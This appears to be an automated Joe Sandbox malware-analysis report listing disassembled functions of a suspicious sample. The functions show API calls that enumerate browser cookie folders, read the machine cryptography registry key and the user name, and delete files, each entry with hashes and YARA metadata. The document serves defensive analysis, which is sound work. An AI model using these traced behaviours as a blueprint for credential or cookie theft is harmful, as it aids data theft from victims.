Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020119,?), ref: 00406E08
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,000000FE), ref: 00406E2F

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: String$AllocFreeOpenQueryValue
String ID:
API String ID: 967375698-0
Opcode ID: 2211f0de82845023bd4461a93eb36700242ae8860f2016ef3c98de18d7d5de81
Instruction ID: 82cb5f20ed390e82a860d028ca805bd23af48b7bdc57f11f8f6bbfe72b4b229b
Opcode Fuzzy Hash: 2211f0de82845023bd4461a93eb36700242ae8860f2016ef3c98de18d7d5de81
Instruction Fuzzy Hash: 0211EC75600209AFD701EB99CD81EDEBBFCEB48704F504576B504F3291DB74AF448AA5

Function 0040F075 Relevance: 3.0, APIs: 2, Instructions: 48fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32(?,?,\Cookies,?,0040F164,0041A69E,?,00000000,0041B0FC,00000000,00000053,00000000,00000000,?,?,0040FB94), ref: 0040F08C
FindClose.KERNEL32(?,?,00000000,0041B0FC,00000000,00000053,00000000,00000000,?,?,0040FB94,00000000,00000000,004108BA,?,00000000), ref: 0040F0A1

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFreeNextString
String ID:
API String ID: 2955960751-0
Opcode ID: 1e9b37f04fd57d78430077f2b4601a5ec3ce5269e9b677e8db693b85492603db
Instruction ID: dc89d7738b23535855ff9c4148af0879da89c6c91260b7bc9a518dbe45aeb810
Opcode Fuzzy Hash: 1e9b37f04fd57d78430077f2b4601a5ec3ce5269e9b677e8db693b85492603db
Instruction Fuzzy Hash: C811EC34A000199FD711EF65C989B8DB7BCEB49309F5040FBE408E3692DB38EF498A19

Function 00411485 Relevance: 3.0, APIs: 2, Instructions: 44fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32(?,?,?,0041156C,?,0041156C,0041A69E,00000000,?,00000000,00411542,?,00000000,0041B0FC,00000000,00000000), ref: 00411495
FindClose.KERNEL32(?,?,?,?,0041156C,?,0041156C,0041A69E,00000000,?,00000000,00411542,?,00000000,0041B0FC,00000000), ref: 004114A6

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFreeNextString
String ID:
API String ID: 2955960751-0
Opcode ID: d74adf908988730b48fd275c9c3540f268d31a258baa92cf470f410dd37f45cb
Instruction ID: 226411003037e138c1c67e26c1421cca425b0735135974084d306a933a1dcfaf
Opcode Fuzzy Hash: d74adf908988730b48fd275c9c3540f268d31a258baa92cf470f410dd37f45cb
Instruction Fuzzy Hash: 3301DE749001195ADB20FBA2C989B8DB7BDAF4530DF5044FBA508F2693DB3CEB464A19

Function 004131EF Relevance: 3.0, APIs: 2, Instructions: 34fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32(?,?,?,004132A0,?,004132A0,0041A69E,00000000,?,00000000,00413276,?,00000000,0041B0FC,00000000,00000050), ref: 004131FF
FindClose.KERNEL32(?,?,?,?,004132A0,?,004132A0,0041A69E,00000000,?,00000000,00413276,?,00000000,0041B0FC,00000000), ref: 00413210

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 7152aeecb0182cee81e5862884522e9ffb63afcbca56ba3874f74f5361fbebf4
Instruction ID: 82a16d896c4f48faf0e35042adbb7c5bd1ccf9b11d770cd328dbe2153f83eb91
Opcode Fuzzy Hash: 7152aeecb0182cee81e5862884522e9ffb63afcbca56ba3874f74f5361fbebf4
Instruction Fuzzy Hash: F7F0E1759041195ADB10FBA2C94979DB7BCEB44309F5044BBA508E2287DA3CEB458A19

Function 00412F59 Relevance: 3.0, APIs: 2, Instructions: 34fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32(?,?,?,00413008,?,00413008,0041A69E,00000000,?,00000000,00412FE0,?,00000000,0041B0FC,00000000,00000050), ref: 00412F69
FindClose.KERNEL32(?,?,?,?,00413008,?,00413008,0041A69E,00000000,?,00000000,00412FE0,?,00000000,0041B0FC,00000000), ref: 00412F7A

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 364a76a2787b1e219187f93d933a06ad2227e6a2d032f51874559d5a65d5d1b6
Instruction ID: 7c6318ccb78e3c9f28f43a4caefdddffadaf29821b9e252e5aea90fd0143e0ff
Opcode Fuzzy Hash: 364a76a2787b1e219187f93d933a06ad2227e6a2d032f51874559d5a65d5d1b6
Instruction Fuzzy Hash: 2DF0F4749041195ADB51FBA2C949B9DB7BCEF4430DF5044BBA508F2283DB3CEB464A19

Function 00411758 Relevance: 3.0, APIs: 2, Instructions: 34fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32(?,?,?,00411808,?,00411808,0041A69E,00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000,00000000), ref: 00411768
FindClose.KERNEL32(?,?,?,?,00411808,?,00411808,0041A69E,00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000), ref: 00411779

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 465834974578a01494a2c0a396bd0be7a8bccf547f8e00333bf83f2a0c7f7e36
Instruction ID: 65ad2fcd057c29a6e430793ff92c4c180e38887c39ec8b59f7fa06e78e590a3e
Opcode Fuzzy Hash: 465834974578a01494a2c0a396bd0be7a8bccf547f8e00333bf83f2a0c7f7e36
Instruction Fuzzy Hash: 55F0F4749041195ADB10FBA2C949B9DB7BCEF4430DF5045B7A508F2283DB3CEB454A19

Function 00401388 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401691), ref: 004013B7
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401691), ref: 004013DE

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: b25dbc278243e52bedcd7f6d8fef46cdb2f3eea21510b30c666f455eef3dc6e8
Instruction ID: a459bd48843060549903651ed84add4fd647ab7a4347e8b1aec55fdbd67c2c02
Opcode Fuzzy Hash: b25dbc278243e52bedcd7f6d8fef46cdb2f3eea21510b30c666f455eef3dc6e8
Instruction Fuzzy Hash: 72F0E972B0032017EB2055690CC1F5265C58B46760F14417BBE08FF7D9C6758C008299

Function 0040AA84 Relevance: 1.7, APIs: 1, Instructions: 187registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,00000000,00000001,?,00000000,0040ACA6,?,00000000,0041B0FC,0041A69E), ref: 0040AAE6

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 9abfc9f75ffebf2721150bd6bd5fbed50a976a6d9049e49e92d871bcf2c9e187
Instruction ID: ac4e7d83220bd21fd8c6f333f1e90c0bbcc0354ed1def0e792b3592e4231717e
Opcode Fuzzy Hash: 9abfc9f75ffebf2721150bd6bd5fbed50a976a6d9049e49e92d871bcf2c9e187
Instruction Fuzzy Hash: 6C71B2B5A00209AFDB10DF99C981EDEB7F8FB48304F504076EA14F7291DB74AE458B99

Function 0040A4DC Relevance: 1.6, APIs: 1, Instructions: 111comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0040A502

Part of subcall function 0040A4A4: CoCreateInstance.OLE32(0041B0DC,00000000,00000005,0040A4CC,00000000,?,00000000,0040A52D,0041A69E), ref: 0040A4BC

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstance
String ID:
API String ID: 3519745914-0
Opcode ID: c7146c2ee00f13a8b070a8ef55d32a8a45292622e180b4121028d47487a371b6
Instruction ID: c08489ea19e13a3d293aecad3beeb391bbc31764778729df2f545245553e63cd
Opcode Fuzzy Hash: c7146c2ee00f13a8b070a8ef55d32a8a45292622e180b4121028d47487a371b6
Instruction Fuzzy Hash: 214161B1A00108AFD704EBA9DC41A9EB7F9EF84304F108076F504E72D1DB789E158B59

Function 0040AA76 Relevance: 1.6, APIs: 1, Instructions: 94registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,00000000,00000001,?,00000000,0040ACA6,?,00000000,0041B0FC,0041A69E), ref: 0040AAE6

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 26e9b220453cdd747fbd0b884b51338cafa01c5462963c211927f6101c81a63b
Instruction ID: 0eb56dbbdedde93dc071919128606212d987d339c996090b4d76d4a19de309ed
Opcode Fuzzy Hash: 26e9b220453cdd747fbd0b884b51338cafa01c5462963c211927f6101c81a63b
Instruction Fuzzy Hash: 9531D971A00209AFDB10DF99CD81A9EBBF8FB48304F50447AE514F7291D778AA16CB59

Function 0040A472 Relevance: 1.6, APIs: 1, Instructions: 68comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0040A502

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 05b4f67209cf29e7d51d4614d9afd77ff3a583cddf87dd53ddac2bdeb3cfee06
Instruction ID: 4128eab0078b9220c17e66a8506c051661ff3a85d7cfe1dd90edc884f7a1437e
Opcode Fuzzy Hash: 05b4f67209cf29e7d51d4614d9afd77ff3a583cddf87dd53ddac2bdeb3cfee06
Instruction Fuzzy Hash: 8521BEB1600248AFD300DBA4D841B9D7BB8EF44304F1140B7F500EB2E2DBB9AE15CB1A

Function 004110D3 Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00403BBC: SysReAllocStringLen.OLEAUT32(?,?,?), ref: 00403BD2

DeleteFileW.KERNEL32(00000000), ref: 004110EC

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: String$Free$AllocDeleteFile
String ID:
API String ID: 2774942583-0
Opcode ID: 751b15a944a34f3287b68344a15c1d2f82b032f2e77c6539a848dc9e918fde84
Instruction ID: d978ad502f84b13ca618fefbee41b00f9199b207036cdf18ceb996327fc120f8
Opcode Fuzzy Hash: 751b15a944a34f3287b68344a15c1d2f82b032f2e77c6539a848dc9e918fde84
Instruction Fuzzy Hash: BC019A359001089ADB00FFA2D5869DDBBBCAF4431DF50447BE514B6297DB3DEB4A8A18

Function 0040E2CB Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00403BBC: SysReAllocStringLen.OLEAUT32(?,?,?), ref: 00403BD2

DeleteFileW.KERNEL32(00000000), ref: 0040E2EB

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: String$Free$AllocDeleteFile
String ID:
API String ID: 2774942583-0
Opcode ID: a41eac73cd0992c92ba9cce0ae99767c0e1f8bbd28ff206b00d6103722425fdc
Instruction ID: f968c47e8fe5405dafad12843ffa389fd9ef3acd936591be541b396e48f43bae
Opcode Fuzzy Hash: a41eac73cd0992c92ba9cce0ae99767c0e1f8bbd28ff206b00d6103722425fdc
Instruction Fuzzy Hash: EE018C349040089BD700FFA2D98299DBBBDEF44319F50447BE414B7297DB3DAB098A18

Function 0040F36E Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32(?,?,?,0040F424,?,0040F424,0041A69E,?,00000000,0041B0FC,00000000,00000000,00000000,?,?,00410714), ref: 0040F385

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileFindFreeNextString
String ID:
API String ID: 1021606847-0
Opcode ID: 136350ae1fa3f1741cdb188d6e3002b64a090c8122cab8056996945efeb3f3f1
Instruction ID: 626d758899e4344d1aec1185980037f2c978566439fc1e7de79f2586dcc77525
Opcode Fuzzy Hash: 136350ae1fa3f1741cdb188d6e3002b64a090c8122cab8056996945efeb3f3f1
Instruction Fuzzy Hash: DC01FF356040099FD710EFA5D985B99B7FCEB48308F5040B7E908E3692DB38EF498B19

Function 00412BEC Relevance: 1.5, APIs: 1, Instructions: 36fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00403BBC: SysReAllocStringLen.OLEAUT32(?,?,?), ref: 00403BD2

DeleteFileW.KERNEL32(00000000), ref: 00412C05

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: String$Free$AllocDeleteFile
String ID:
API String ID: 2774942583-0
Opcode ID: 20de26ebd4fa28500ef34f6389ef97808de585c5e1e3d334dcb50a7953dda52c
Instruction ID: 2d19e9cd3b1c2d263fb928a850cde83d4a9f39eda02fee16132709c6c5f07a68
Opcode Fuzzy Hash: 20de26ebd4fa28500ef34f6389ef97808de585c5e1e3d334dcb50a7953dda52c
Instruction Fuzzy Hash: C6F0BB349001089ADB00FFA2C586ADDBBBDEF4431DF60447BE504B6697DA3CEB4A8518

Function 00410DA5 Relevance: 1.5, APIs: 1, Instructions: 34fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00403BBC: SysReAllocStringLen.OLEAUT32(?,?,?), ref: 00403BD2

DeleteFileW.KERNEL32(00000000), ref: 00410DBE

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: String$Free$AllocDeleteFile
String ID:
API String ID: 2774942583-0
Opcode ID: fbd299f1a3e876960fccf05451ae9ebf4a48a638b3ae742067fd24b43444adc8
Instruction ID: 6cdf97149e1eb6c2c6e47fcf2a1d9cbc4c670a9ad2513eaffaeeccee0d295041
Opcode Fuzzy Hash: fbd299f1a3e876960fccf05451ae9ebf4a48a638b3ae742067fd24b43444adc8
Instruction Fuzzy Hash: 88F079349101089ADB00FFA2D5869DDBBBCAF4431DF50447BE414B6293DB3DEB4A8618

Function 004076B0 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

GetFileAttributesW.KERNEL32(00000000,00000000,004076FC,?,0041C7BC,?,?,004083F8,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781), ref: 004076DE

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: String$AllocAttributesFileFree
String ID:
API String ID: 2634384563-0
Opcode ID: 4a55e6a7ccd81ca30525239ac909850159b087d308325e78fb273df2937a63e3
Instruction ID: a7f0668d61e2dec431e32046e2844a6437fd6a4f389a52c14dd3b7fa7bab2667
Opcode Fuzzy Hash: 4a55e6a7ccd81ca30525239ac909850159b087d308325e78fb273df2937a63e3
Instruction Fuzzy Hash: A8F03074514608EFD701EB69CC5289EBBFCEB497647A1057AF410E35D1EB38BE00D568

Function 004065C4 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?,?,00406CB6,00000000,00406D93,?,?,00000006,00000000,00000000,?,00419172,?), ref: 004065E9

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 1ebdfbd59a0e52ef2ea023c9a08e44020ac5f15f939b277ac4f00344f859253b
Instruction ID: cd992ebe0347ba42bda0945abe6e894bfe88d76707d831bffa21c0f3d5584e5e
Opcode Fuzzy Hash: 1ebdfbd59a0e52ef2ea023c9a08e44020ac5f15f939b277ac4f00344f859253b
Instruction Fuzzy Hash: 29E04FB12082425FD312EB98D880AA677E59F89300F05487AA885C72E1EE35DE649B57

Function 004065C8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?,?,00406CB6,00000000,00406D93,?,?,00000006,00000000,00000000,?,00419172,?), ref: 004065E9

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: c1aec3d96d918917163645e1cef9db84c357628eb7c3e8a5af25ed4d30638381
Instruction ID: 47af1fdf1995f1dddaec203f3ca82799803cb6e69f4b63bfcad29cffb6660ea3
Opcode Fuzzy Hash: c1aec3d96d918917163645e1cef9db84c357628eb7c3e8a5af25ed4d30638381
Instruction Fuzzy Hash: D9E08CB12042025BE310EA98D880AA6B2D89F88300F01483AB889C73D0FE39DE648A57

Function 00403604 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000003,00000000,?,?,00000000,00000001,00000000,00000000,00000001,004036B0,00000000), ref: 0040361A

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 561e95d8c0e043bb599fe2914a8b8ce540b10e76985e8275bf81900a008061d5
Instruction ID: 7e1ccd6cea493bd3454663dff710d39ec61ca1bdc7a044e150527f2c3e7482f1
Opcode Fuzzy Hash: 561e95d8c0e043bb599fe2914a8b8ce540b10e76985e8275bf81900a008061d5
Instruction Fuzzy Hash: 1EC002B22802087FE5149A9ADC46FA7769C9758B50F108029B7089E1D1D5A5B85046BC

Function 00403B58 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403B5F

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 910dd29793ec8a5ceaf1035511d9dc783a106504b7dd8afe82433608cd4bcd15
Instruction ID: bea8321bd29b1b0cb3959915f15724c359703e68ceae1f32cab0dcb1509c9ee6
Opcode Fuzzy Hash: 910dd29793ec8a5ceaf1035511d9dc783a106504b7dd8afe82433608cd4bcd15
Instruction Fuzzy Hash: 9FB0123460820111FA143D720E01B331C5C0B50B4BF880037AD21F51C3DD7DE901503E

